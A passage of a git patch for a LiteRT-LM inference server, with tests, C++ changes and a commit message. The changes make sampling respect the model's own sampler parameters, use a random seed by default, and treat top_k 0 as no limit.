'unreadable' ? unreadable(name) : readable(name, inputs[name]) + const path = name === 'unreadable' ? unreadable(name) : readable(name) const log = await callsDuring(async () => assert.equal((await chat(fake, { model: `${path},cpu`, messages: hello })).status, 200)) assert.deepEqual(settingsOf(log), [settings], name) } @@ -217,7 +217,7 @@ test('the config\'s vision_backend and audio_backend are used for a model that t const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: '', FAKE_LITERT_LM_CALLS: callLog }, ['--config', config, '--verbose']) try { const settings = async (name) => settingsOf(await callsDuring(async () => { - assert.equal((await chat(server, { model: readable(name, inputs[name.split('-')[0]]), messages: hello })).status, 200) + assert.equal((await chat(server, { model: readable(name, kinds[name.split('-')[0]]), messages: hello })).status, 200) })) assert.deepEqual(await settings('vl-configured'), [{ backend: 'cpu', vision_backend: 'gpu', audio_backend: null }]) assert.deepEqual(await settings('text-configured'), [{ backend: 'cpu', vision_backend: null, audio_backend: null }]) @@ -245,8 +245,8 @@ test('an image or audio part sent to a model without that input is a 400 that sa const reply = await chat(fake, { model: text, messages: [...imageMessage('What color is this?'), { role: 'assistant', content: 'Red.' }, ...hello] }) assert.equal(reply.status, 400) // A model that takes it, and one whose header the server cannot read (left to the runtime, as before), get it. - assert.equal((await chat(fake, { model: readable('vl', inputs.vl), messages: imageMessage('What color is this?') })).status, 200) - assert.equal((await chat(fake, { model: readable('omni', inputs.omni), messages: audioMessage })).status, 200) + assert.equal((await chat(fake, { model: readable('vl'), messages: imageMessage('What color is this?') })).status, 200) + assert.equal((await chat(fake, { model: readable('omni'), messages: audioMessage })).status, 200) assert.equal((await chat(fake, { model: unreadable('unreadable'), messages: imageMessage('What color is this?') })).status, 200) }) @@ -290,3 +290,125 @@ for (const path of visionModels.length ? visionModels : ['']) { } }) } + +// The sampler the stand-in logged for the conversation a request was answered with (the last one created). +async function samplerFor(server, body) { + const log = await callsDuring(async () => { + const reply = await chat(server, body) + assert.equal(reply.status, 200, reply.error) + }) + const created = log.filter((c) => c.call === 'conversation_create') + assert.ok(created.length > 0, 'no conversation created') + return created.at(-1).config.sampler ?? null +} +const f = Math.fround +const NO_LIMIT = 2147483647 +const TOP_P = 2 +// LlmMetadata with the model's own sampler_params (field 4, a SamplerParameters: type 1, k 2, p 3 and temperature 4, +// the last two floats). +const float = (n, v) => { const b = Buffer.alloc(5); b[0] = (n << 3) | 5; b.writeFloatLE(v, 1); return b } +const samplerMetadata = ({ type, k, p, temperature }) => ({ type: 5, bytes: proto.field(4, [ + proto.varint(1, type), ...(k === undefined ? [] : [proto.varint(2, k)]), ...(p === undefined ? [] : [float(3, p)]), + ...(temperature === undefined ? [] : [float(4, temperature)]), +]) }) +// A main model section whose decode signature outputs "logits" of [1, 1, vocabulary], as a tflite::Model lays them +// out (subgraphs 2, signature_defs 7; SignatureDef outputs 1, signature_key 2, subgraph_index 4; TensorMap name 0, +// tensor_index 1; SubGraph tensors 0; Tensor shape 0). +const decoderWith = (vocabulary, model_type = 'tf_lite_prefill_decode', constraint) => ({ + ...tflite(model_type, constraint), + bytes: flatbuffer(fb.table([undefined, undefined, fb.vector([fb.table([fb.vector([fb.table([fb.ints([1, 1, vocabulary])])])])]), + undefined, undefined, undefined, undefined, + fb.vector([fb.table([undefined, fb.vector([fb.table(['logits', fb.u32(0)])]), 'decode', undefined, fb.u32(0)])])])), +}) +Object.assign(kinds, { + 'sampler-topp': [decoder, samplerMetadata({ type: TOP_P, k: 50, p: 0.9, temperature: 0.6 })], + 'sampler-topk': [decoder, samplerMetadata({ type: 1, k: 40, temperature: 0.8 })], + 'sampler-greedy': [decoder, samplerMetadata({ type: 3 })], + 'sampler-k0': [decoder, samplerMetadata({ type: TOP_P, k: 0, p: 0.95, temperature: 0.7 })], + 'plain-vocabulary': [decoderWith(32000)], + // An Artisan text decoder, which LiteRT-LM runs on GPU as GPU_ARTISAN (gemma-4-E2B-it-gpu has one), with a sampler. + artisan: [decoderWith(262144, 'tf_lite_artisan_text_decoder', 'gpu_artisan'), samplerMetadata({ type: TOP_P, k: 64, p: 0.95, temperature: 1 })], +}) + +test('the fields a request leaves out of its sampler come from the model\'s own parameters, and the ones it sets are used as set', { skip, timeout: 60_000 }, async () => { + const model = (name, backend = 'cpu') => `${readable(name)},${backend}` + const check = async (name, request, expected, backend) => { + const sampler = await samplerFor(fake, { model: model(name, backend), messages: hello, ...request }) + assert.ok(sampler, `no sampler set: ${name} ${JSON.stringify(request)}`) + const { seed, ...rest } = sampler + assert.deepEqual(rest, { type: TOP_P, ...expected }, `${name} ${JSON.stringify(request)}`) + assert.ok(Number.isInteger(seed)) + } + // The model's own: TOP_P as given, TOP_K as TOP_P with p 1 (the CPU sampler has only TOP_P), GREEDY as k 1, and no k + // as no limit. + await check('sampler-topp', {}, { top_k: 50, top_p: f(0.9), temperature: f(0.6) }) + await check('sampler-topk', {}, { top_k: 40, top_p: 1, temperature: f(0.8) }) + await check('sampler-greedy', {}, { top_k: 1, top_p: 1, temperature: 1 }) + await check('sampler-k0', {}, { top_k: NO_LIMIT, top_p: f(0.95), temperature: f(0.7) }) + // Each field the request sets replaces only that one. + await check('sampler-topp', { temperature: 1.2 }, { top_k: 50, top_p: f(0.9), temperature: f(1.2) }) + await check('sampler-topp', { top_p: 0.5 }, { top_k: 50, top_p: 0.5, temperature: f(0.6) }) + await check('sampler-topp', { top_k: 10 }, { top_k: 10, top_p: f(0.9), temperature: f(0.6) }) + // A model with none: LiteRT-LM's own defaults, which are greedy (k 1), so a temperature or top_p the request sets + // alone gets no top-k limit, or it would do nothing; an explicit top_k, and temperature 0, stay greedy. + await check('plain', {}, { top_k: 1, top_p: f(0.95), temperature: 1 }) + await check('plain', { temperature: 1.5 }, { top_k: NO_LIMIT, top_p: f(0.95), temperature: 1.5 }) + await check('plain', { top_p: 0.8 }, { top_k: NO_LIMIT, top_p: f(0.8), temperature: 1 }) + await check('plain', { temperature: 0 }, { top_k: 1, top_p: f(0.95), temperature: 0 }) + await check('plain', { temperature: 1.5, top_k: 1 }, { top_k: 1, top_p: f(0.95), temperature: 1.5 }) + // On the GPU backend, no limit is the model's vocabulary, all its tokens; where that is unknown, as on CPU. + await check('plain-vocabulary', { temperature: 1.5 }, { top_k: 32000, top_p: f(0.95), temperature: 1.5 }, 'gpu') + await check('plain-vocabulary', { temperature: 1.5 }, { top_k: NO_LIMIT, top_p: f(0.95), temperature: 1.5 }) + await check('plain', { temperature: 1.5 }, { top_k: NO_LIMIT, top_p: f(0.95), temperature: 1.5 }, 'gpu') + const lines = await logged(fake) + // Said once per model and backend, not on every request. + assert.deepEqual(lines.filter((l) => l.startsWith("top_k is not set and plain.litertlm's")), [ + "top_k is not set and plain.litertlm's default is 1 (greedy), under which the request's temperature would have no " + + 'effect; sampling on cpu with top_k 2147483647 (no limit)', + "top_k is not set and plain.litertlm's default is 1 (greedy), under which the request's temperature would have no " + + 'effect; sampling on gpu with top_k 2147483647 (no limit)', + ], fake.stderr) + assert.ok(lines.includes("top_k is not set and plain-vocabulary.litertlm's default is 1 (greedy), under which the " + + "request's temperature would have no effect; sampling on gpu with top_k 32000 (its vocabulary: no limit)"), fake.stderr) + // On NPU, and for an Artisan text decoder on GPU, where LiteRT-LM leaves sampling to the model, nothing is set + // unless the request sets something. + for (const name of ['sampler-topp,npu', 'artisan,gpu']) { + const [kind, backend] = name.split(',') + assert.equal(await samplerFor(fake, { model: model(kind, backend), messages: hello }), null, name) + } + const npu = await samplerFor(fake, { model: model('sampler-topp', 'npu'), messages: hello, temperature: 0.3 }) + assert.deepEqual({ ...npu, seed: 0 }, { type: TOP_P, top_k: 50, top_p: f(0.9), temperature: f(0.3), seed: 0 }) + const artisan = await samplerFor(fake, { model: model('artisan', 'gpu'), messages: hello, temperature: 0.3 }) + assert.deepEqual({ ...artisan, seed: 0 }, { type: TOP_P, top_k: 64, top_p: f(0.95), temperature: f(0.3), seed: 0 }) +}) + +test('a request without a seed is sampled with a new random seed, and one with a seed with that seed', { skip, timeout: 60_000 }, async () => { + const seeds = [] + for (let i = 0; i < 6; i++) seeds.push((await samplerFor(fake, { model: readable('sampler-topp'), messages: hello }))?.seed) + for (let i = 0; i < 2; i++) seeds.push((await samplerFor(fake, { model: readable('sampler-topp'), messages: hello, temperature: 1 })).seed) + assert.equal(new Set(seeds).size, seeds.length, `seeds repeat: ${seeds}`) + // Not 0 or 1, which seed the CPU sampler's generator alike. + assert.ok(seeds.every((s) => s > 1), `${seeds}`) + assert.equal((await samplerFor(fake, { model: readable('sampler-topp'), messages: hello, seed: 7 })).seed, 7) + assert.equal((await samplerFor(fake, { model: readable('plain'), messages: hello, seed: 0 })).seed, 0) +}) + +for (const path of realModels.length ? realModels : ['']) { + test(`a real model samples with a temperature sent alone, differently each time without a seed: ${path}`, { skip: skipReal, timeout: 900_000 }, async () => { + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + const ask = async (extra) => { + const reply = await chat(server, { model: `${path},cpu`, messages: [{ role: 'user', content: 'Write one sentence about the sea.' }], max_completion_tokens: 24, ...extra }, 300_000) + assert.equal(reply.status, 200, reply.error) + return reply.reasoning + reply.content // a thinking model (Qwen3) may only think in 24 tokens + } + const unseeded = [await ask({ temperature: 1.5 }), await ask({ temperature: 1.5 }), await ask({ temperature: 1.5 })] + assert.ok(new Set(unseeded).size > 1, `the same reply three times: ${unseeded[0]}`) + assert.equal(await ask({ temperature: 1.5, seed: 7 }), await ask({ temperature: 1.5, seed: 7 })) + } finally { + stopServer(server) + } + }) +} diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 399591b..f794e8e 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -71,6 +71,7 @@ #include #include #include +#include #include #include #include @@ -297,6 +298,16 @@ struct ModelFileInfo { // the file's encoder supports, the one it prefers first; none when it takes no such input. bool capabilities_known = false; std::vector vision_backends, audio_backends; + // The model's own sampler (LlmMetadata's sampler_params): type UNSPECIFIED and zeros for a file that has none, as + // LFM2.5-230M and gemma-3-270m-it are, as the C API's litert_lm_loaded_file_sampler_* also answer. + LiteRtLmSamplerType sampler_type = kLiteRtLmSamplerTypeUnspecified; + int top_k = 0; + float top_p = 0, temperature = 0; + // Its text decoder is an Artisan one (a tf_lite_artisan_text_decoder section), which LiteRT-LM runs on GPU as + // GPU_ARTISAN (engine_settings.cc), a backend whose sampling is the model's own. + bool artisan = false; + // The number of logits its decode signature outputs: its vocabulary. 0 when unknown. + int vocabulary = 0; }; // Bounds-checked reads of a FlatBuffer of `size` bytes, through `read`: just what the server needs of the header's @@ -349,8 +360,9 @@ FbReader MemoryReader(const std::string& b) { b.size()}; } -// Calls f(field number, varint value, bytes) for each top-level field of a protobuf message: the varint for wire type -// 0, the bytes for wire type 2; fixed-width fields are skipped. False when the message is malformed. +// Calls f(field number, value, bytes) for each top-level field of a protobuf message: the varint for wire type 0, the +// 32 bits for wire type 5 (a float's), the bytes for wire type 2; 64-bit fields are skipped. False when the message is +// malformed. template bool ForEachProtoField(const std::string& m, F f) { size_t i = 0; @@ -382,6 +394,10 @@ bool ForEachProtoField(const std::string& m, F f) { i += 8; break; case 5: + if (m.size() - i < 4) return false; + v = 0; + for (int b = 3; b >= 0; --b) v = (v << 8) | static_cast(m[i + b]); + f(field, v, std::string()); i += 4; break; default: @@ -417,6 +433,57 @@ bool HasRecurrentState(int section_type, const std::string& proto) { return found; } +// LlmMetadata's sampler_params (field 4, a SamplerParameters: type 1, k 2, p 3, temperature 4), when it has them. +void ReadSampler(const std::string& llm_metadata, ModelFileInfo& info) { + auto as_float = [](uint64_t bits) { + const uint32_t b = static_cast(bits); + float f; + std::memcpy(&f, &b, sizeof f); + return f; + }; + ForEachProtoField(llm_metadata, [&](int field, uint64_t, const std::string& params) { + if (field != 4) return; + ForEachProtoField(params, [&](int field, uint64_t v, const std::string&) { + if (field == 1) info.sampler_type = static_cast(v); + if (field == 2) info.top_k = static_cast(v); + if (field == 3) info.top_p = as_float(v); + if (field == 4) info.temperature = as_float(v); + }); + }); +} + +// What the server needs of the model's main TFLite graph (a tflite::Model FlatBuffer: subgraphs 2, signature_defs 7; +// SignatureDef inputs 0, outputs 1, signature_key 2, subgraph_index 4; TensorMap name 0, tensor_index 1; SubGraph +// tensors 0; Tensor shape 0), read through `m` where it lies in the file, a few tables of it and never the whole: the +// number of logits the decode signature outputs (the last dimension of its "logits", which is what the runtime sizes +// its sampler by: GetVocabSize in llm_litert_compiled_model_executor.cc). +void ReadTflite(const FbReader& m, ModelFileInfo& info) { + const uint64_t model = m.Get(0).value_or(0); // the root table's uoffset, from 0 + const uint64_t subgraphs = m.Follow(m.Field(model, 2)), signatures = m.Follow(m.Field(model, 7)); + // The last dimension of the tensor that `entry`, one of the signature's inputs or outputs, names; 0 if none. + auto last_dimension = [&](uint64_t signature, uint64_t entry) { + const uint32_t subgraph = m.Scalar(m.Field(signature, 4), 0); + if (subgraph >= m.Length(subgraphs)) return 0; + const uint64_t tensors = m.Follow(m.Field(m.Follow(subgraphs + 4 + 4ull * subgraph), 0)); + const uint32_t tensor = m.Scalar(m.Field(entry, 1), 0); + if (tensor >= m.Length(tensors)) return 0; + const uint64_t shape = m.Follow(m.Field(m.Follow(tensors + 4 + 4ull * tensor), 0)); + const uint32_t rank = m.Length(shape); + return rank ? m.Get(shape + 4 + 4ull * (rank - 1)).value_or(0) : 0; + }; + for (uint32_t k = 0; k < m.Length(signatures) && k < 256; ++k) { + const uint64_t signature = m.Follow(signatures + 4 + 4ull * k); + if (!signature || m.String(m.Field(signature, 2)) != "decode") continue; + const uint64_t outputs = m.Follow(m.Field(signature, 1)); + for (uint32_t j = 0; j < m.Length(outputs) && j < 4096; ++j) { + const uint64_t output = m.Follow(outputs + 4 + 4ull * j); + if (output && m.String(m.Field(output, 0)) == "logits") { + info.vocabulary = std::max(0, last_dimension(signature, output)); + } + } + } +} + // The backends a section's backend_constraint lists, in its order, as LiteRT-LM 0.18.0 reads it // (ParseBackendConstraint in schema/model_info/model_info.cc, what its C API's litert_lm_loaded_file_* answer): cpu // or cpu_artisan, gpu or gpu_artisan, npu or google_tensor_artisan; a section without one takes cpu, then gpu. @@ -441,8 +508,9 @@ std::vector ConstraintBackends(const std::string& constraint) { // the last one listed deciding its backends. The C API's litert_lm_loaded_file_create reads the same, but also reads // whole sections into memory: every vision section, and the main model when LlmMetadata has no max_num_tokens // (GetModelInfo), so asking it which inputs gemma-3-270m-it takes raised the server's peak memory by 285 MB, the size -// of its model, before any engine loaded, and by up to 2 GB for a larger bundle. Here nothing but the header and the -// small protobuf sections is read. A header or section this cannot read says nothing. +// of its model, before any engine loaded, and by up to 2 GB for a larger bundle. Here nothing but the header, the small +// protobuf sections and a few tables of the main model (ReadTflite) is read. A header or section this cannot read says +// nothing. ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { ModelFileInfo info; const FbReader fb = MemoryReader(header); @@ -451,6 +519,8 @@ ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { const uint32_t n = fb.Length(sections); info.capabilities_known = n > 0; std::optional vision, audio; // the encoder's backend_constraint + uint64_t main_begin = 0, main_end = 0; // the main TFLite model, as DiscoverSections picks it + bool main_found = false, other_found = false; for (uint32_t k = 0; k < n && k < 4096; ++k) { const uint64_t s = fb.Follow(sections + 4 + 4ull * k); if (!s) continue; @@ -466,6 +536,24 @@ ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { if (key == "model_type") model_type = value; if (key == "backend_constraint") constraint = value; } + // ClassifyModelType's kinds: the main model is the last main section, or else the first that is no other kind. + const uint64_t begin = fb.Scalar(fb.Field(s, 1), 0), end = fb.Scalar(fb.Field(s, 2), 0); + const bool main = model_type == "tf_lite_prefill_decode" || model_type == "tf_lite_prefill_decode_hw" || + model_type == "tf_lite_prefill" || model_type == "tf_lite_decode" || + model_type == "tf_lite_artisan_text_decoder"; + const bool other = !main && model_type != "tf_lite_text_encoder" && model_type != "tf_lite_embedder" && + model_type != "tf_lite_vision_adapter" && model_type != "tf_lite_vision_encoder" && + model_type != "tf_lite_audio_adapter" && model_type != "tf_lite_audio_encoder_hw" && + model_type != "tf_lite_audio_frontend" && model_type != "tf_lite_video_adapter" && + model_type != "tf_lite_video_encoder" && model_type != "tf_lite_mtp_drafter" && + model_type != "tf_lite_aux"; + if (main || (other && !main_found && !other_found)) { + main_begin = begin; + main_end = end; + } + main_found |= main; + other_found |= other; + info.artisan |= model_type == "tf_lite_artisan_text_decoder"; if (model_type == "tf_lite_vision_adapter" || model_type == "tf_lite_vision_encoder") vision = constraint; if (model_type == "tf_lite_audio_adapter" || model_type == "tf_lite_audio_encoder_hw" || model_type == "tf_lite_audio_frontend") { @@ -481,6 +569,16 @@ ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { continue; } info.recurrent_state |= HasRecurrentState(type, proto); + if (type == 5) ReadSampler(proto, info); + } + if (main_end > main_begin) { + const FbReader model{[&in, main_begin](uint64_t pos, void* out, size_t n) { + in.clear(); + return static_cast(in.seekg(static_cast(main_begin + pos)) && + in.read(static_cast(out), static_cast(n))); + }, + main_end - main_begin}; + ReadTflite(model, info); } if (vision) info.vision_backends = ConstraintBackends(*vision); if (audio) info.audio_backends = ConstraintBackends(*audio); @@ -545,9 +643,10 @@ struct EngineHolder { // it was created: its data processor cannot constrain tool calls (see HandleChatCompletions), so its later requests // with tools are created without it at once. Cleared when another engine is loaded. bool tools_unconstrained = false; - // The model's decoder keeps a recurrent state (ModelFileInfo), and a message has been sent on this engine since it - // was created, so that state is no longer the initial one. - bool recurrent_state = false; + // What the model file says about itself (ModelFileInfo), as it was when this engine was created. + ModelFileInfo info; + // The model's decoder keeps a recurrent state (info.recurrent_state), and a message has been sent on this engine + // since it was created, so that state is no longer the initial one. bool state_used = false; }; @@ -662,7 +761,7 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc, co // France." after that same question's first turn and a title request, and with "The capital of Italy is **Rome**." // on a fresh one (LiteRT-LM #3165; the model card says to create a new Engine for each conversation). The C API has // no way to reset that state, so the engine is created again, with the same settings. - const bool fresh_state = g_engine.engine && g_engine.key == key && g_engine.recurrent_state && g_engine.state_used; + const bool fresh_state = g_engine.engine && g_engine.key == key && g_engine.info.recurrent_state && g_engine.state_used; if (g_engine.engine && g_engine.key == key && !fresh_state) return g_engine.engine; if (fresh_state) { static std::set told; // once per model file, not per conversation @@ -708,7 +807,7 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc, co g_engine.key = key; // The same model and settings again: what was found out about the model still holds. if (!fresh_state) g_engine.tools_unconstrained = false; - g_engine.recurrent_state = info.recurrent_state; + g_engine.info = info; g_engine.state_used = false; g_engine.init_seconds = std::chrono::duration(std::chrono::steady_clock::now() - t0).count(); Log("Engine ready in " + std::to_string(g_engine.init_seconds) + " s"); @@ -1243,6 +1342,85 @@ std::optional> ParseThinking(const json& body, const ModelC return std::make_pair(thinking, budget); } +// The sampler a conversation is created with. A session's sampler parameters replace the model's own entirely: the +// runtime uses LlmMetadata's only when the session's type is UNSPECIFIED (SessionConfig::MaybeUpdateAndValidate in +// engine_settings.cc, LiteRT-LM 0.18.0). The server used to build one only when the request set any of temperature, +// top_p, top_k and seed, and then filled every field the request left out with a fixed value: top_k 1, which is +// greedy decoding (sampling_cpu_util.cc), top_p 0.95, temperature 1 and seed 0. So a temperature or top_p sent alone +// never had any effect (with temperature 1.5 and seeds 1, 2 and 3, LFM2.5-230M wrote the same sentence it writes +// with none), and the model's own parameters were thrown away whenever a request set one field. And the seed was 0 +// whenever the request gave none, the runtime's default as well (engine_settings.cc), so every conversation drew the +// same "random" sample and a Regenerate repeated the answer word for word. +struct Sampling { + int top_k; + float top_p, temperature; + int seed; +}; + +// The top_k that is no top-k limit. On CPU the largest k, which the CPU sampler clamps to the vocabulary +// (TopKTopPSampling in sampling_cpu_util.cc). On GPU the vocabulary itself, all the tokens there are: the GPU sampler +// is created for the k it is given and the model's number of logits (CreateGpuSampler in sampler_factory.cc; the +// sampler itself is not open source), so it gets no k larger than that. LiteRT-LM 0.18.0 sets no top_k limit of its +// own there: GpuConfig::max_top_k, 64, is read nowhere. Where the vocabulary is unknown, the largest k, as on CPU. +int NoTopKLimit(const std::string& backend, const ModelFileInfo& model) { + return backend == "gpu" && model.vocabulary > 0 ? model.vocabulary : INT32_MAX; +} + +// Each field the request sets, as it set it; the others from the model's own parameters, or, for a model that has +// none, LiteRT-LM's own defaults for CPU and GPU, the ones it would use (engine_settings.cc: TOP_P, k 1, p 0.95, +// temperature 1); and a random seed unless the request gives one. The CPU sampler implements TOP_P only +// (CreateCpuSampler in sampler_factory.cc), and TOP_P with p 1 is top-k sampling, so a model whose own type is TOP_K +// or GREEDY gets that. On NPU, and for an Artisan text decoder on GPU, which LiteRT-LM runs as GPU_ARTISAN, its +// default type is UNSPECIFIED (engine_settings.cc), which leaves sampling to the model, so there a sampler is set only +// for a request that sets one of the fields, as before. none: the runtime's own choice. +std::optional SamplingFor(const json& body, const ModelFileInfo& model, const std::string& backend, + const std::string& model_id, bool request_sets_any) { + const bool model_samples = (backend != "cpu" && backend != "gpu") || (backend == "gpu" && model.artisan); + if (model_samples && !request_sets_any) return std::nullopt; + Sampling s{1, 0.95f, 1.0f, 0}; + switch (model.sampler_type) { + case kLiteRtLmSamplerTypeTopP: + s = {model.top_k, model.top_p, model.temperature, 0}; + break; + case kLiteRtLmSamplerTypeTopK: + s = {model.top_k, 1.0f, model.temperature, 0}; + break; + case kLiteRtLmSamplerTypeGreedy: + s = {1, 1.0f, 1.0f, 0}; + break; + default: + break; + } + // A model that names TOP_P or TOP_K with no k (0) asks for no top-k limit; the runtime refuses k 0. + if (s.top_k <= 0) s.top_k = NoTopKLimit(backend, model); + auto has = [&](const char* k) { return body.contains(k) && !body[k].is_null(); }; + if (has("temperature")) s.temperature = body["temperature"].get(); + if (has("top_p")) s.top_p = body["top_p"].get(); + if (has("top_k")) { + s.top_k = body["top_k"].get(); + } else if (s.top_k == 1 && ((has("temperature") && s.temperature > 0) || (has("top_p") && s.top_p < 1))) { + // k 1 picks the likeliest token whatever the temperature or top_p, so the request's would have no effect: the + // model's default here is greedy decoding, and the request asks to sample. It gets no top-k limit. + s.top_k = NoTopKLimit(backend, model); + static std::set told; // once per model and backend, not per request + if (told.insert(model_id + "," + backend).second) { + Log("top_k is not set and " + model_id + "'s default is 1 (greedy), under which the request's " + + (has("temperature") ? "temperature" : "top_p") + " would have no effect; sampling on " + backend + + " with top_k " + std::to_string(s.top_k) + + (s.top_k == INT32_MAX ? " (no limit)" : " (its vocabulary: no limit)")); + } + } + if (has("seed")) { + s.seed = body["seed"].get(); + } else { + // The CPU sampler seeds std::default_random_engine (minstd_rand0) with it, which takes 0 and 1 alike, so the + // range starts at 1; each conversation seeds its own generator (CreateNewContext). + static std::mt19937 gen{std::random_device{}()}; + s.seed = std::uniform_int_distribution(1, INT32_MAX - 1)(gen); + } + return s; +} + // openai_common.parse_response_format → (constraint type, schema/pattern), or none. std::optional> ParseResponseFormat(const json& body) { if (!body.contains("response_format") || body["response_format"].is_null()) return std::nullopt; @@ -1424,13 +1602,12 @@ void HandleChatCompletions(int fd, const Request& req) { // Engine.create_conversation, with the options the serve path passes, but constrained decoding only with tools // (below). LiteRtLmSessionConfig* sc = L.litert_lm_session_config_create(); - if (has_sampler) { + if (auto sampling = SamplingFor(body, g_engine.info, g_engine.key.backend, ref.id, has_sampler)) { LiteRtLmSamplerParams* sp = L.litert_lm_sampler_params_create(kLiteRtLmSamplerTypeTopP); - L.litert_lm_sampler_params_set_top_k(sp, body.contains("top_k") && !body["top_k"].is_null() ? body["top_k"].get() : 1); - L.litert_lm_sampler_params_set_top_p(sp, body.contains("top_p") && !body["top_p"].is_null() ? body["top_p"].get() : 0.95f); - L.litert_lm_sampler_params_set_temperature( - sp, body.contains("temperature") && !body["temperature"].is_null() ? body["temperature"].get() : 1.0f); - L.litert_lm_sampler_params_set_seed(sp, body.contains("seed") && !body["seed"].is_null() ? body["seed"].get() : 0); + L.litert_lm_sampler_params_set_top_k(sp, sampling->top_k); + L.litert_lm_sampler_params_set_top_p(sp, sampling->top_p); + L.litert_lm_sampler_params_set_temperature(sp, sampling->temperature); + L.litert_lm_sampler_params_set_seed(sp, sampling->seed); L.litert_lm_session_config_set_sampler_params(sc, sp); L.litert_lm_sampler_params_delete(sp); } diff --git a/engines/litert-lm-server/testdata/fake_litert_lm.cc b/engines/litert-lm-server/testdata/fake_litert_lm.cc index c2f163a..8cc870c 100644 --- a/engines/litert-lm-server/testdata/fake_litert_lm.cc +++ b/engines/litert-lm-server/testdata/fake_litert_lm.cc @@ -11,6 +11,8 @@ // no-llg has no LLGuidance constraint provider (constraint_provider_factory.cc:43-56) // broken cannot create any conversation // anything else takes both (a Gemma model whose vocabulary the FST library supports) +// Each conversation created is logged with what its config asked for: {"call": "conversation_create", "model": ..., +// "config": {"sampler": {...}, ...}}. // A conversation answers with one chunk of text that says how it was created and sent, for example // "constrained=1 tools=1 provider=0 constraint=0 creates=3", where creates counts every litert_lm_conversation_create // call in the process. A regex that does not compile fails the send as llguidance does @@ -35,10 +37,16 @@ struct LiteRtLmEngineSettings { struct LiteRtLmEngine { std::string model; }; -struct LiteRtLmSessionConfig {}; +struct LiteRtLmSamplerParams { + nlohmann::json j; +}; +struct LiteRtLmSessionConfig { + nlohmann::json sampler; +}; struct LiteRtLmThinkingConfig {}; struct LiteRtLmConversationConfig { bool constrained = false, tools = false, provider = false; + nlohmann::json config = nlohmann::json::object(); }; struct LiteRtLmConversation { LiteRtLmConversationConfig config; @@ -98,6 +106,21 @@ void litert_lm_engine_delete(LiteRtLmEngine* e) { delete e; } LiteRtLmSessionConfig* litert_lm_session_config_create() { return new LiteRtLmSessionConfig; } void litert_lm_session_config_delete(LiteRtLmSessionConfig* c) { delete c; } +LiteRtLmSamplerParams* litert_lm_sampler_params_create(LiteRtLmSamplerType type) { + return new LiteRtLmSamplerParams{{{"type", type}}}; +} +void litert_lm_sampler_params_delete(LiteRtLmSamplerParams* p) { delete p; } +void litert_lm_sampler_params_set_top_k(LiteRtLmSamplerParams* p, int32_t k) { p->j["top_k"] = k; } +void litert_lm_sampler_params_set_top_p(LiteRtLmSamplerParams* p, float v) { p->j["top_p"] = v; } +void litert_lm_sampler_params_set_temperature(LiteRtLmSamplerParams* p, float v) { p->j["temperature"] = v; } +void litert_lm_sampler_params_set_seed(LiteRtLmSamplerParams* p, int32_t seed) { p->j["seed"] = seed; } +void litert_lm_session_config_set_sampler_params(LiteRtLmSessionConfig* c, const LiteRtLmSamplerParams* p) { + c->sampler = p->j; +} +void litert_lm_conversation_config_set_session_config(LiteRtLmConversationConfig* c, const LiteRtLmSessionConfig* s) { + c->config["sampler"] = s->sampler; +} + LiteRtLmThinkingConfig* litert_lm_thinking_config_create() { return new LiteRtLmThinkingConfig; } void litert_lm_thinking_config_delete(LiteRtLmThinkingConfig* c) { delete c; } @@ -118,6 +141,7 @@ void litert_lm_conversation_config_set_constraint_provider(LiteRtLmConversationC LiteRtLmConversation* litert_lm_conversation_create(LiteRtLmEngine* engine, LiteRtLmConversationConfig* c) { ++g_creates; const std::string& m = engine->model; + Record({{"call", "conversation_create"}, {"model", m}, {"config", c->config}}); if (Is(m, "broken")) { g_error = "INTERNAL: cannot create a session"; } else if (c->constrained && Is(m, "lfm2")) { From 2e05b869971208be56a2081ae773c8c0100d269d Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 19:49:55 +0000 Subject: [PATCH 70/80] fix(litert-lm-server): top_k 0 is no limit; bad sampler values are 400s A request with top_k 0 failed, and so did one with -1. TurboLLM's own settings offer Top K 0 as "disabled" (the persona and model dialogs, and auto-tune reads model cards that set top_k 0), as llama.cpp reads it, and vLLM's clients send -1 for the same. The server passed either to the runtime, whose CPU sampler refuses a k below 1, so every chat with such a setting got a 500: on LFM2.5-230M {"top_k": 0} gave "RuntimeError: INVALID_ARGUMENT: k must be positive." and so did {"temperature": 0.7, "top_k": -1}. A top_p outside 0 to 1 and a negative temperature were 500s too ("p must be in [0, 1].", "Temperature must be >= 0"), although the request was at fault, and a top_k or seed with a fraction was silently cut to an integer. Older bug: origin/main has it (the request's top_k is passed as is). - engines/litert-lm-server/src/main.cc: top_k 0 or below means no top-k limit: the CPU sampler gets the largest k, which it clamps to the vocabulary (TopKTopPSampling in sampling_cpu_util.cc), and the GPU one the model's vocabulary, as for an unset top_k under a temperature, which the server says once per model and backend ("top_k 0 is no top-k limit: top_k 2147483647 for (the CPU sampler takes the whole vocabulary)"). A top_k above 0 is used as set, on GPU too, where LiteRT-LM 0.18.0 sets no limit of its own (GpuConfig::max_top_k is read nowhere). A top_p outside 0 to 1, a temperature below 0, and a top_k or seed that is not an integer (or out of int32's range) are a 400 that names the field and the value: "Invalid sampler parameters: ValueError: top_p must be between 0 and 1, got 1.5". - BUILDING-ENGINES.md: says so. Behaviour change: top_k 0 and below sample with no top-k limit instead of failing; a top_k or seed with a fraction and an out-of-range top_p or temperature get a 400 instead of a 500 or a silent change. Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library, "top_k 0 or below is no top-k limit, and a sampler value the runtime cannot take is a 400 that names it" (on GPU, no limit is the vocabulary of 32000 that the stand-in file's main model gives, and top_k 65 and 100000 are used as set); and, with LITERT_LM_TEST_LIBRARY and 